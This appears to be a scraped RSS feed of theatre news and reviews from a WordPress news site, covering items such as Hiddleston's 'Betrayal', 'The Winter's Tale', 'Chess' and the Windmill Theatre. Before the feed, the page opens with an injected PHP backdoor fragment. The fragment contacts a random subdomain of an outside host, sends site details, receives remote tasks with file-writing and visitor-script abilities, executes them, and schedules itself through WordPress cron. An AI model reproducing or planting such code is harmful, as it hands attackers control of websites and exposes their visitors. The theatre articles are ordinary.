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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Theatre – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 15 Nov 2018 20:22:37 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Theatre – Brief News https://briefnews.eu 32 32 Tom Hiddleston Betrayal theatre dates: When are tickets on sale? Plus ADVANCE booking info https://briefnews.eu/tom-hiddleston-betrayal-theatre-dates-when-are-tickets-on-sale-plus-advance-booking-info/ https://briefnews.eu/tom-hiddleston-betrayal-theatre-dates-when-are-tickets-on-sale-plus-advance-booking-info/#respond Thu, 15 Nov 2018 20:22:37 +0000 http://briefnews.eu/tom-hiddleston-betrayal-theatre-dates-when-are-tickets-on-sale-plus-advance-booking-info/

Next Spring will be a bumper few months for Hiddlestoners. The actor will be returning as Loki in Avengers 4, even though he was killed off in Infinity War. He has already filmed scenes but nobody knows if they are flashbacks or the popular anti-hero will be brought back to life. Fans, though, will able to see the actor very much alive and in the flesh for three months only, in a limited run of the iconic Harold Pinter play Betrayal. The news broke today, as well as information on how and when to buy tickets.

When the announcement was made, Hiddleston said: “Betrayal is a masterpiece. Jamie Lloyd’s Pinter at the Pinter season is terrific and I am so pleased that he’s asked me to be part of it.”

The Avengers star will take the main role of Robert in the 1978 play and started a fan frenzy when he posted a cryptic video earlier which showed him in fine dramatic form walking down a dark tunnel looking upset and emotional. At the time, nothing more was revealed apart from the word “Betrayal” across the screen.

Now fans know it was teasing his new play, there will doubtless be a scramble for tickets when they are released.

Watch the video next and scroll down for dates, booking information and more.

WHEN WILL BETRAYAL START?

Director Jamie Lloyd’s new production will open at the Harold Pinter Theatre on March 5 2019, for a strictly limited season ending on June 1.

WHAT IS BETRAYAL ABOUT?

The play tells the passionate and heart-breaking story of a relationship in reverse order. It starts in the present and works backwards, allowing the audience a poignant and bittersweet experience as they watch scenes already knowing the outcome. It is on Pinter’s own seven-year relationship with TV presenter Joan Bakewell. 

WHY IS BETRAYAL BEING REVIVED IN 2019?

The original production debuted 40 years ago today, starring Michael Gambon and Penelope Wilton in the lead roles. The new production marks the end of ‘Pinter at the Pinter’ season, which celebrates the 10th anniversary of the playwright’s death on December 24, 2008.

WHEN DO TICKETS GO ON SALE?

Tickets go on sale at 9am on November 30.

Priority advances tickets go on sale to all previous The Jamie Lloyd Company ticket bookers, ATG Theatre Card members and Pinter at the Pinter ticket holders at 9am on November 29.

For tickets and info go to: www.pinteratthepinter.com

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]]> https://briefnews.eu/tom-hiddleston-betrayal-theatre-dates-when-are-tickets-on-sale-plus-advance-booking-info/feed/ 0 Theatre reviews: The Lovely Bones, Eastern Star and The Prisoner https://briefnews.eu/theatre-reviews-the-lovely-bones-eastern-star-and-the-prisoner/ https://briefnews.eu/theatre-reviews-the-lovely-bones-eastern-star-and-the-prisoner/#respond Fri, 21 Sep 2018 12:38:56 +0000 http://briefnews.eu/theatre-reviews-the-lovely-bones-eastern-star-and-the-prisoner/

The Lovely Bones – Royal & Derngate Northampton unti September 22 then touring until November 17. Tickets: 01604 624811 / royalandderngate.co.uk

When Alice Sebold’s novel The Lovely Bones was published in 2002, it was described as “the book of the decade”.

So no pressure on Bryony Lavery in dramatising it for the stage.

Told entirely from the celestial vantage point of Pennsylvania teenager Susie Salmon who has been raped, killed and dismembered, it is a moving and uplifting account of her attempts to guide her family to her murderer while watching in envy as their lives continue without her.

Director Melly Still handles the distilled narrative with great skill, assisted by Ana Inés Jabares-Pita’s stunning set design.

A huge angled mirror above the stage reflects the action beneath, suggesting a heavenly dimension, and figures emerge out of darkness at the rear of the stage.

As Susie (Charlotte Beaumont) mingles unseen and unheard with the living, she fills in the details of her story with the lively observation of a child, often perplexed by the behaviour of her parents and siblings.

And when asked by her heavenly chaperone (Bhawna Bhawsar) what she wants, Susie replies: “I want to be unraped and unkilled.”

The sense of mystery and a parallel realm is conveyed by a square of salt laid out at the start, a boundary through which ghosts cannot pass.

The killer’s other victims are represented by little dresses animated by the cast in a scene that is both moving and horrifying.

But if it all sounds relentlessly grim, I assure you that it is not. The sense of life, even after death, pervades the play like perfume.

There are humorous sequences threaded through like family dog Holiday leading a dance of local dogs, played by the cast, in search of Susie’s body.

There is lovely work from a superb cast including Emily Bevan as Susie’s troubled mother, Jack Sandle as her obsessive father and Ayoola Smart as her sister.

The ending is as satisfying and moving as it is unexpected. Prepare to be amazed.

Eastern Star ****Tara Theatre until September 29. Tickets: 020 8333 4457

When BBC cub reporter Christopher Gunness was sent to Burma (now Myanmar) to investigate the military junta, he unwittingly helped kickstart the student revolution of 1988.

Lawyer U Nay Min (David Yip) was chief architect of the revolution which was fuelled by the information and misinformation which he fed to Gunness.

However, when the protests were quashed by the military, Nay Min spent 16 years in prison while Gunness (Michael Lumsden) went on to a career in the United Nations. Guy Slater’s play details their fraught meeting decades later as old wounds reopen and bleed all over the stage.

Yip and Lumsden are superb as they circle each other, drawing out a litany of betrayal and stupidity that wrecked one man’s life and propelled the other to success.

The play may lack dramatic heft but it offers an enlightening account of a period of history that opened the door for the rise of Aung San Suu Kyi.

It’s a small but well-formed play about Gunness’s guilt over his action – and inaction – concerning an issue of international import whose aftershocks are still being felt today.

The moral is: when in doubt, trust your conscience, not your government.

The Prisoner National Theatre until October 4. Tickets: 020 7452 3000

The Prisoner is a short, sparse and enigmatic parable from great British theatre director Peter Brook.

A man (Hiran Abeysekera) is condemned to 20 years of isolation on a hill to “repair” himself. His crime is patricide for which he has already suffered some form of punishment.

The small cast create their own sound effects and convey underwritten characters as well as they can. But the stripped-down style fails to achieve the dramatic escalation of Samuel Beckett’s dramas to which it assuredly aspires.

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]]> https://briefnews.eu/theatre-reviews-the-lovely-bones-eastern-star-and-the-prisoner/feed/ 0 Theatre Review: The Winter's Tale https://briefnews.eu/theatre-review-the-winters-tale/ https://briefnews.eu/theatre-review-the-winters-tale/#respond Fri, 31 Aug 2018 07:36:55 +0000 http://briefnews.eu/theatre-review-the-winters-tale/

The subject of much scholarly debate and disagreement, it is also enduringly popular with audiences. Maybe the groundlings have a better insight into the play than academics.

The plot goes like this: Leontes, King of Sicilia, is entertaining his best mate Polixenes, King of Bohemia, when he is suddenly struck by the belief that his old buddy is having a fling with his heavily pregnant wife Hermione.

In a fit of Othello-like jealousy he orders loyal courtier Camillo to poison Polixenes and drags Hermione off to the dungeons to await trial for treason. When their son Mamillius kills himself at the stress of it all, Hermione collapses having given birth to a daughter and is pronounced dead by her best pal Paulina, who turns on Leontes like a vengeful tigress.

Meanwhile, Leontes has instructed Paulina’s husband Antigonus to take the baby girl and abandon it in a land far, far away. He chooses Bohemia and gets eaten by a bear for his troubles.

Sixteen years later, the girl, having been rescued by a shepherd and his son, has grown into a Dresden shepherdess Perdita and is about to marry a nice bloke called Florizel who just happens to be the noble son of Polixenes.

Keep up at the back! Blanche McIntyre’s production is underpopulated with several actors playing a number of roles.

But there is an agreeable clarity in the storytelling and mercifully it is not conceptualised to death.

The cast is dominated by females, even in some male roles, in a bid to critique male powermongers and expose the gender imbalance between those who rule and those who don’t.

 

More interesting is the depiction of the two countries existing in parallel Elizabethan eras – while Sicilia is all tights and breeches of Elizabeth I’s reign, Bohemia is suits and mobile phones in the here and now of Elizabeth II.

Among many notable performers are Sirine Saba’s fearless and stroppy Paulina, Rose Wardlaw in a quartet of roles and Priyanga Burford’s spirited Hermione.

Will Keen makes a meal of Leontes’ paranoia which suits his nervy, tic-ridden style and there is good work from Annette Badland, Adrian Bower and Becci Gemmell as deft pickpocket Autolycus.

Ultimately, Shakespeare’s coded attack on the notion of nobility and birth privilege and their power of life and death over “ordinary” people of whatever gender comes across loud and clear. A satisfying production of a very tricky play.

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]]> https://briefnews.eu/theatre-review-the-winters-tale/feed/ 0 Theatre Review: A Wilde night at Oscar’s https://briefnews.eu/theatre-review-a-wilde-night-at-oscars/ https://briefnews.eu/theatre-review-a-wilde-night-at-oscars/#respond Fri, 10 Aug 2018 02:35:08 +0000 http://briefnews.eu/theatre-review-a-wilde-night-at-oscars/

THE grand finale of Dominic Dromgoole’s attractive if variable Oscar Wilde season is the playwright’s most popular play and one of the most perfect comedies ever written in the English language.

The Importance Of Being Earnest is rarely off the stage so what can a new production bring that we haven’t seen before?

Well, an unusually eccentric Lady Bracknell for a start.

Sophie Thompson’s vowel-gargling, register-defying performance is exceptionally funny as she swoops from soprano to tenor across a line.

Pippa Nixon’s Gwendolen and Fiona Button’s Cecily deliver uncorseted performances of simmering sexuality in the most amusing fashion while Jacob Fortune-Lloyd’s Jack and Fehinti Balogun’s Algy are a well-matched brace of friends, the former’s upright rectitude rubbing up against the latter’s louche bisexuality with a wit that strikes sparks.

Director Michael Fentiman dials up the volume and the pace with some loss of subtlety but the laughs still derive from Wilde which can only be a good thing.

But he fabricates a gay subplot about Algy having an affair with his manservant Lane (the terrific Geoffrey Freshwater) and, unacceptably, has added a few lines to Wilde’s text to support his modifications.

 

And a homoerotic painting on his wall would have given Lady Bracknell a fit of the vapours.

But the compensations are considerable. The heightened artificiality of the tone is ameliorated in the second act with the delightful hesitancy between Miss Prism (a peerless Stella Gonet) and Jeremy Swift’s ardent Canon Chasuble.

Best of all, the ultimate confrontation between Lady Bracknell and Miss Prism has real dramatic weight (“Prism! Where is that baby?”).

Rarely have I felt so keenly the dreadful import of the loss of a child through “a moment of mental abstraction”. In this moment, Fentiman gets it absolutely right.

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]]> https://briefnews.eu/theatre-review-a-wilde-night-at-oscars/feed/ 0 Theatre Reviews: The King and I and Giffords Circus https://briefnews.eu/theatre-reviews-the-king-and-i-and-giffords-circus/ https://briefnews.eu/theatre-reviews-the-king-and-i-and-giffords-circus/#respond Fri, 06 Jul 2018 06:55:18 +0000 http://briefnews.eu/theatre-reviews-the-king-and-i-and-giffords-circus/

Japanese movie star Ken Watanabe (The Last Samurai) inherits the role in this revival of Rodgers & Hammerstein’s Broadway blockbuster that has already won four Tonys including Best Leading Actress In A Musical for Kelli O’Hara in the role of Anna.

It takes 20 seconds to see why. O’Hara owns the role from the moment she and her young son arrive on a paddle steamer in Siam so Anna can take up the role of governess and teacher to the King’s children.

He has a lot of children: 67 at the start of the play, 77 by the end. No wonder he looks exhausted in the final scene.

During the course of her years in Siam, Anna not only teaches a privileged selection of the children about the Western world and instils in them Victorian values but she teaches the King to become a more liberal ruler, as well as teaching him the joys of the waltz.

O’Hara conveys the spirited stoicism of the Victorian gentlewoman with utter conviction. Her singing is superb and semi-operatic but free enough to play with the tempo of Hello Young Lovers like Julie Andrews possessed by Frank Sinatra.

Watanabe may not be the world’s greatest singer, over-performing It’s A Puzzlement, and his accent is so strong that he is not always intelligible.

But his theatrical presence, timing and the depth he brings to the role are ample compensations. The moment in the Shall We Dance sequence when he insists on holding Anna in the British fashion as opposed to at arm’s length is absolutely electrifying.

There is much to praise in Bartlett Sher’s production. The children, including one of the tiniest performers I have ever seen on stage, are wonderful and individually well-defined.

The ballet-within-the-musical, The Small House Of Uncle Thomas, is a model of East/West choreography by Jerome Robbins and beautifully revised by Christopher Gattelli. Naoko Mori provides a highlight as Lady Thiang with Something Wonderful and Na-Young Jeon is heartbreaking as the tragic concubine Tuptim.

Some misguided commentators have complained about racial stereotyping in The King And I but this is a liberal musical about the difficulties and benefits of two opposing cultures finding common ground and learning from each other. And with numbers including I Whistle A Happy Tune and Getting To Know You, as well as the hysterically funny Western People Funny, it has more singalong songs than almost any other musical I can think of.

Until September 29. Tickets: 020 7087 7757

GIFFORDS CIRCUS 4/5, Chiswick House & Gardens (UK tour) 

WHEN Jennifer Saunders, Ade Edmondson, Anneka Rice, Vivienne Westwood and Diana Quick all show up for a circus, there must be more to it than clowns.

Tweedy The Clown might be the fulcrum on which the show revolves but he also performs juggling tricks, aerial stunts and plays the bagpipes. Better still he doesn’t wear scary “It” clown make-up.

A scarlet tuft of hair is his one concession to clown-like presentation. Modelled on an Edwardian-style village green circus, Giffords started life in 2000.

The retro-nostalgia trip is perfect in every detail.

The current show, My Beautiful Circus, hovers around the 1920s/1930s, with a great band playing non-stop Gershwin, Cole Porter and Arthur Freed songs fronted by a singer in a satin dress and a feathered headband. 

Acts include Nell Gifford’s performing Shetland ponies, Diana’s Dancing Dachshunds, an aristocratic grey horse and a talking turkey.

There is also a strongman with an afro the size of Wales. Breathtaking balancing acts, high-flying teeterboard acrobats and elegant aerialists complete the picture.

The real secret to Giffords is that the performers, on four legs and two, seem to be having as much fun as the audience.

The show is family-friendly with a light coating of mischief (Tweedy loses his trousers and the singer loses her dress in a mutual comic strip), making it harmless, charming and heaps of fun.

Until July 9 (touring until September 30). Tickets: 01242 691181

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]]> https://briefnews.eu/theatre-reviews-the-king-and-i-and-giffords-circus/feed/ 0 Chess theatre review – Choreography is athletic but clichéd, lyrics inaudible https://briefnews.eu/chess-theatre-review-choreography-is-athletic-but-cliched-lyrics-inaudible/ https://briefnews.eu/chess-theatre-review-choreography-is-athletic-but-cliched-lyrics-inaudible/#respond Sun, 06 May 2018 19:07:49 +0000 http://briefnews.eu/chess-theatre-review-choreography-is-athletic-but-cliched-lyrics-inaudible/

It aims to explore Cold War tensions and is loosely based on the rivalry of chess grandmasters American Bobby Fischer and Russian Boris Spassky but is muddled and puerile.

The Fischer character, defeated in the first act, switches allegiance in the second more often than the shadiest Le Carré character but without a fraction of the motivation.

Director Laurence Connor displays so little faith in the show’s ability to hold the stage that he projects relentless distracting close-ups of the principals on vast video screens.

Stephen Mear’s choreography is athletic but clichéd: goose-stepping Soviets, pompom-twirling cheerleaders and brolly-waving Britons.

The sound system is such that 80 per cent of the lyrics are inaudible but, given the banality of the remainder, this may be no loss.

Every other song ends in the same meaningless crescendo. Michael Ball, Alexandra Burke, Tim Howar and Cassidy Janson emote gamely to little effect. And the £150 seat price is an outrage!

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]]> https://briefnews.eu/chess-theatre-review-choreography-is-athletic-but-cliched-lyrics-inaudible/feed/ 0 Michael Ball discusses his exciting new theatre show, Chess at the London Coliseum https://briefnews.eu/michael-ball-discusses-his-exciting-new-theatre-show-chess-at-the-london-coliseum/ https://briefnews.eu/michael-ball-discusses-his-exciting-new-theatre-show-chess-at-the-london-coliseum/#respond Sun, 15 Apr 2018 23:51:35 +0000 http://briefnews.eu/michael-ball-discusses-his-exciting-new-theatre-show-chess-at-the-london-coliseum/

Michael Ball holding a chess pieceMARK KEHOE

Mr Ball is very excited to star in Chess

Lesser mortals would be aghast at the prospect but you can almost feel his pleasure at being so busy.

On Sundays he’ll be hosting his Radio 2 show; the rest of the week he’ll be starring in the revival of the musical Chess at the London Coliseum.

With music by Abba masterminds Benny Andersson and Bjorn Ulvaeus, and lyrics by Sir Tim Rice, the show is a love story set against the political machinations of the Cold war.

It reveals how American and Russian chess players became pawns (ho ho) of their governments during a world championship.

Being in this musical is a very big deal for Abba anorak Michael, who plays Russian Grand Master Anatoly and admits to liking Abba even when it wasn’t fashionable.

“I was obsessed,” he confesses.

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“Benny has been over to see us about the show and the first time I met him, I was a complete fanboy. We were sat in the rehearsal room and he’s there on the piano, just noodling out the hits. Incredible.”

Michael, 54, may be a veteran of the musical theatre (and a multi-platinum-selling recording artist with his sidekick Alfie Boe), but his enthusiasm is a joy to behold, particularly for Chess – which was a big hit when it was released on an album but not so much in the theatre when it launched in 1986.

“I approached the producers to be in it at the beginning of the year – I knew it was going to be on and I wondered why they hadn’t asked me.

“I had pencilled in making a solo album but I’ve always been a little bit obsessed with Chess, so I threw my hat into the ring and sort of got my hand bitten off!

“I’ve never actually seen the show on stage before. I had the record and played it to death, though.

Michael Ball playing chessMARK KEHOE

Mr Ball performed at Lord Andrew Lloyd webber’s 70th birthday celebration at Drury Lane

“They’re hard songs to sing but once you start rehearsing, you go, ‘Ah, yes, that’s Abba’. Once you’ve got those harmonies, they’re locked into you.

“And they’re the biggest songs. I’m back in Aspects of Love days (the Andrew Lloyd webber musical in which he starred), hitting those B-flats; and it’s been a while.

“I’ve been taking vocal coaching because I’ve never done a role that has required such a stretch; not just in vocal range but in vocal style.

“One minute I’m rocking out with Tim Howar (his co-star who also sings with Mike And the Mechanics) and it’s…” (he breaks into a thundering rock vocal) “then it’s all the legitimate B- flats with the chorus…

“I get a note-perfect operatic performance. And then straight down into something soft and controlled,” he says, turning all dreamy pop star.

And it’s all perfect, damn him.

Theatre talent shows through the years

Wed, November 16, 2016

As Gary Barlow launches new talent show ‘Let it Shine’ to find the stars of a Take That musical, we look at the successful musical theatre talent shows of the past.

Let it Shine - The new BBC show will see Gary Barlow looking for five young men to star in a new Take That musical

BBC

1 of 7

Let it Shine – The new BBC show will see Gary Barlow looking for five young men to star in a new Take That musical

Once you’ve got those harmonies, they’re locked into you

Michael Ball

Michael’s versatility has been a big reason that he’s had such an interesting and varied career.

As well as musical theatre and presenting his own TV and radio series, he’s also been a pop star and Eurovision entrant – and one of his earliest roles was as tennis coach Malcolm Nuttall in two episodes of Coronation Street in 1985: “I remember, when I left drama school, my dad tony saying that I’d have made it when I got into the Royal Shakespeare Company and my grandma saying, ‘oh, if you ever got on to Coronation Street…’

“So in my first year, I got into the RSC with Les Misérables, and then I got into Corrie.

It was like, ‘whoah!’,” he laughs.

Michael is very close to his father, who used to harbour dreams of an acting career himself but instead found himself as a major figure in the British motor industry and a leading events producer.

Michael Ball holding a chess pieceMARK KEHOE

Mr Ball will perform alongside Alexandra Burke

“He wanted to act, and was involved in amateur dramatics, but got drawn into industry instead, yet still took the family to the theatre a lot,” he says.

“At 83, he’s still a brilliant motivational and after-dinner speaker. He used to be in a couple of bands, the Five Schmos and the Gambols, and a few years ago, I tracked down a demo record he’d made and played it on my radio show. It was great to be able to do that.”

Performing live in theatre shows like Chess and to huge arena audiences, as he does when touring with Alfie Boe, is hugely important to Michael: “It’s the only thing that brings us together, as everyone’s stuck into social media or their phones these days,” he says.

“There are fewer water-cooler moments than ever, but the next thing that will bring everyone together is the Royal wedding.

“Have you seen that gorgeous picture of Megan’s dad reading that book about the history of Britain? God love him! It will be great to have a beautiful, classy woman as part of the Royal Family – and I love Suits.

“I think the nation will just love watching Harry being happy with Megan, just as Kate makes Prince William happy.”

Michael met the princes’ mother, Diana, several times and remembers her fondly.

“She was jaw-droppingly beautiful and there was something incandescent about her. She was so funny and a bit saucy. She knew that people were excited to meet her, and she had that knack of making you feel that you were the only person she wanted to talk to.”

Michael Ball smiling MARK KEHOE

Michael’s versatility has been a big reason that he’s had such an interesting and varied career

Mr Ball performed at Lord Andrew Lloyd webber’s 70th birthday celebration at Drury Lane.

“I came on, very po-faced, with Tim Minchin playing the piano accompaniment to Love Changes Everything and singing very sincerely.

“Soon after that, the kids from Andrew’s musical School of Rock came on, shouting ‘THIS IS BORING!’, and we then went into a really punky version of Love Changes Everything.”

As I said, very versatile.

Chess runs at the London Coliseum from April 26 to June 2. Tickets from £12; details: chessthemusical.com/020 7845 9300

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]]> https://briefnews.eu/michael-ball-discusses-his-exciting-new-theatre-show-chess-at-the-london-coliseum/feed/ 0 John theatre review: National Theatre London https://briefnews.eu/john-theatre-review-national-theatre-london/ https://briefnews.eu/john-theatre-review-national-theatre-london/#respond Fri, 02 Feb 2018 13:05:04 +0000 http://briefnews.eu/john-theatre-review-national-theatre-london/

John comes in at three-and-a-half hours and races along with the speed of a superannuated snail.

But compared with the epic minimalism of Baker’s 2013 play The Flick, John is positively congested – not with people but with the dolls that occupy every shelf and table in the Gettysburg bed and breakfast where a young couple stop off for a night or two.

Elias (Tom Mothersdale) is an American Civil War enthusiast who wants to tour the site and museum of its bloodiest battle.

But his girlfriend Jenny (Anneika Rose) is suffering from period pains and stays at the B&B in the company of the eccentric owner Mertis (Marylouise Burke) whose blind friend Genevieve (June Watson) makes abrasive comments and tells tales of possession by the spirit of her ex-husband John.

Half shaggy dog story and half haunted-house mystery, it stretches the patience to the limit before springing surprises to draw you back in. A piano plays by itself.

Christmas tree lights turn themselves on and off. And everywhere the dolls stare down.

Paranoia is stitched into every element: the stories, setting, props and characters, especially Elias, a Jew who accused Jenny of anti-Semitism after her dalliance with a man called John.

Some people walked out before the end but those who stay will find their patience rewarded.

This is theatrical imagination of the highest calibre.

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]]> https://briefnews.eu/john-theatre-review-national-theatre-london/feed/ 0 Theatre Royal Haymarket sale: After #MeToo, all-female group's takeover bid gains momentum https://briefnews.eu/theatre-royal-haymarket-sale-after-metoo-all-female-groups-takeover-bid-gains-momentum/ https://briefnews.eu/theatre-royal-haymarket-sale-after-metoo-all-female-groups-takeover-bid-gains-momentum/#respond Sun, 28 Jan 2018 16:42:07 +0000 http://briefnews.eu/theatre-royal-haymarket-sale-after-metoo-all-female-groups-takeover-bid-gains-momentum/

It was announced earlier this month that the venue’s 68-year lease is to go on sale, with the freehold currently owned by the Crown Estate.

Bossy, the group set up by Jonna Blode Hanno and Laura Thomasina Haynes, boasts 13000 members on Facebook and set up a crowdfunding campaign in a bid to take over the iconic theatre.

The asking price for the lease is unknown but Bossy’s GoFundMe target is currently £3 million.

At time of writing, it has had £6,200 pledged – which despite being only 0.2% of its target, is still evidence of remarkable momentum in recent days.

The campaign’s organiser Natalie Durkin wrote: “A group of female creatives want to buy Theatre Royal Haymarket to encourage and support female led work. 

“Bossy is an all female collective with over 13,000 members, meant for the support of women in the creative industries. 

“Recently though it’s become a power force of positivity, motivation and empowerment in the wake of #timesup, #metoo and #yearofthewomen. 

“Now, they’re crowdfunding to buy a West End Theatre. Unrealistic? Maybe. Impossible? No.”

She added: “All  who donate will receive shares in the Theatre dependent on the donation amount. All shareholders will then vote in a board who will be in charge of the general running of the Theatre.

“If unsuccessful monies will be used to fund a Female arts week! (Theatres already offering space).”

Visit the GoFundMe page here.

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]]> https://briefnews.eu/theatre-royal-haymarket-sale-after-metoo-all-female-groups-takeover-bid-gains-momentum/feed/ 0 The Windmill Theatre: Britain's oldest strip club in fight for survival https://briefnews.eu/the-windmill-theatre-britains-oldest-strip-club-in-fight-for-survival/ https://briefnews.eu/the-windmill-theatre-britains-oldest-strip-club-in-fight-for-survival/#respond Fri, 12 Jan 2018 12:21:53 +0000 http://briefnews.eu/the-windmill-theatre-britains-oldest-strip-club-in-fight-for-survival/

Windmill TheatreALAMY/GETTY

The Windmill Theatre was the first British theatre to feature nudity by exploiting a legal loophole

His objection: that not only were naked ladies on stage but that some of them had moved. 

“This is carrying stage nudity too far,” the letter said. 

“His Lordship is not prepared to allow three full-figured girls out of four posed for the benefit of the audience in this manner. Unless more reasonableness is shown in the inclusion of nudity in your programme he will have no alternative to prohibiting it altogether.” 

Eight years earlier the Windmill had become the first British theatre to feature nudity by exploiting a legal loophole.

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Windmill TheatreROSEDAVID

Laura Henderson celebrating the 130th Revudeville with the Windmill girls

The Windmill wasn’t a sleazy place. We were rooted in a much nicer time. We were naughty but nice. It was an oasis of innocence at Soho’s heart

Jill Shapiro

They argued as naked statues were not considered morally objectionable so a motionless “living statue” should also be acceptable. 

Lord Cromer had agreed but ruled: “If you move, it’s rude.” 

But by the end of the decade the theatre was pushing the boundaries. 

By having their nude girls hold on to a moving object they would manage to create the impression of movement.

The Windmill dodged that bullet and went on to forge a reputation as the country’s most famous naked review bar.

Until yesterday it had operated as a lap-dancing club but a ruling by Westminster City Council now means the club may be forced to close for good. 

After objections to a renewal of the Windmill’s licence by a women’s rights group, the committee ruled that there had been “serious breaches of licence conditions”. They now have 21 days in which to appeal. 

And if the Lord Chamberlain was upset by the idea of a naked young lady daring to so much as move a muscle in 1940, one shudders to think what he might have made of the present allegations facing the club. 

Windmill TheatreGETTY

Three showgirls sitting in the Windmill Theatre canteen in 1964

“The Windmill club needs to be shut down as a matter of urgency to stop the gropes, pinching and slaps,” stated the group. 

They also claimed infringements, allegedly hiring ex-police officers to go undercover to investigate the suspected goings-on. 

Their statements make for eye-opening reading. One describes how he met a “dark-haired female who was wearing a see-through dressing gown and red bra” named Summer, which culminated in her “offering me a dance in the VIP area upstairs for £150 and an additional £10 for the security to look the other way”. 

The detective then details how Summer performed a fully nude private dance for him that included a lewd act, as well as encouraging him to touch her. 

Another states how a girl called Michelle encouraged the detective to pay for a dance in a booth that was “not scrutinised”, as well as asking for £20 to give to a security guard “not to look”. 

The description of that dance contains details too explicit to publish but which are claimed breach the rule that “there shall be no indecent conduct between the performers and customers”. 

A third describes how another dancer Susanna performed a sex act on the information gathering ex-copper, as well as giving him her mobile phone number and arranging to meet him again. 

Westminster strip club licensing rules forbid any physical contact, sex acts or exchanging of phone numbers, as well as stipulating that all dances should be monitored by security or CCTV. 

Windmill TheatreGETTY

A Windmill show girl dressed in her costume waiting in her dressing room before a performance, 1941

For their part the Windmill had promised that they were cleaning up their act. 

Daniel Owide, who is the owner of the club, said that while there had been “a number of operational failings” he had instigated wide-ranging changes.

He also wrote: “We have dismissed six dancers, suspended 10 dancers, sent dancers home during the night on approximately 10 occasions and issued a number of formal warnings to dancers since receiving the objections to our renewal application. Any breach of the ‘no touching rule’ results in immediate dismissal.” 

Mr Owide also cited “the long historical use of the premises as an iconic adult entertainment venue in the heart of Soho”. 

Windmill TheatreGETTY

Sheila van Damm holds up the curtain for the last time before the theatre’s closure, 1964

And it is perhaps this history that will make the closure of the Windmill so significant.

The Windmill began life as cinema The Palais de Luxe but it was only after being bought in 1930 by Laura Henderson that its fortunes changed.

She hired Vivian Van Damm as manager and together they created Revudeville, a continuous show incorporating music, singers, dancers and variety acts. 

Revudeville was a hit but most popular by far were the showgirls. 

And then in 1932 Henderson and Van Damm came up with the idea of using nudes as part of the show. 

These living statues or “tableaux vivants” were a sensation partly because of the censors’ disapproval. 

And the Windmill became so popular that it even stayed open through the Blitz, leading to its famous slogan: “We Never Closed.” 

Their story was dramatised in the 2005 film Mrs Henderson Presents starring Judi Dench as Henderson and Bob Hoskins as Van Damm.

Windmill TheatreGETTY

A banjo player entertains customers queuing outside the Windmill Theatre, 1953

Mrs Henderson died in 1944 leaving the theatre to Van Damm and he diversified the club’s variety roster bringing in a host of young comedians who would later enjoy enormous fame. 

Spike Milligan, Peter Sellers, Sir Bruce Forsyth, Tommy Cooper and Barry Cryer were all early success stories.

After Van Damm’s death in 1960 the theatre struggled in the face of a new permissiveness that had seen Soho become host to dozens of rival clubs. 

In 1964 it closed with the building passing through several owners over the next few decades and being used as a cinema, cabaret club and even television studio until it was leased by Oscar Owide in 1994, who, along with son Daniel, set about returning the Windmill to its spiritual roots. 

But if the activities detailed in the Windmill’s licence renewal application make for shocking reading by today’s standards for those who remember the spirit of Mrs Henderson’s cheeky “tableaux vivantes”, they are doubly so – and the loss of a London landmark all the sadder. 

The Windmill TheatreGETTY

Dancers receiving pedicures from a chiropodist during National Foot Health Week, 1950

Former Windmill girl Jill Shapiro, who wrote the book Remembering Revudeville, recalls the club’s heyday with affection. 

“It was very titillating,” she said. 

“Some outfits were already very revealing, often see-through and I think some of the men used to live in hope of a wardrobe malfunction.

